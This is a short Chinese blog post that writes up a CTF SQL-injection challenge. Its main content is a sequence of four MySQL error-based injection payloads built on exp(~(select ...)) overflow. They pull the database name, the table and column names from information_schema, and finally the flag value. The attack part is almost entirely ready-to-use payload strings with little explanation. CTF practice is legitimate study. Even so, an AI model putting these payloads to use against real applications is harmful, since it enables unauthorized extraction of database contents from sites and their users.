简单的sql注入之3

最新推荐文章于 2020-08-27 18:10:10 发布

鸡翅包饭‘

最新推荐文章于 2020-08-27 18:10:10 发布

阅读量446

点赞数

CC 4.0 BY-SA版权

分类专栏： CTFwrite 文章标签：实验吧CTF简单的sql注入之3 简单的sql注入之3

本文链接：https://blog.youkuaiyun.com/qq_30464257/article/details/85018554

CTFwrite 专栏收录该内容

22 篇文章

订阅专栏

本文详细探讨了SQL注入攻击的原理，展示了攻击者如何利用特定的SQL语句构造来获取敏感信息，包括数据库名、表名、列名及具体数据。通过具体的exp报错和ceil报错案例，深入解析了SQL注入的常见手法，并提供了相应的防御策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

exp报错

'or exp(~(select * from (select database())x)) or'


 'or exp(~(select * from (select group_concat(table_name)from information_schema.tables where table_schema=database())x))or'


 'or exp(~(select * from (select group_concat(column_name)from information_schema.columns where table_name='flag')x))or'

 'or exp(~(select * from (select flag from flag)x))or'

ceil报错类似foolr报错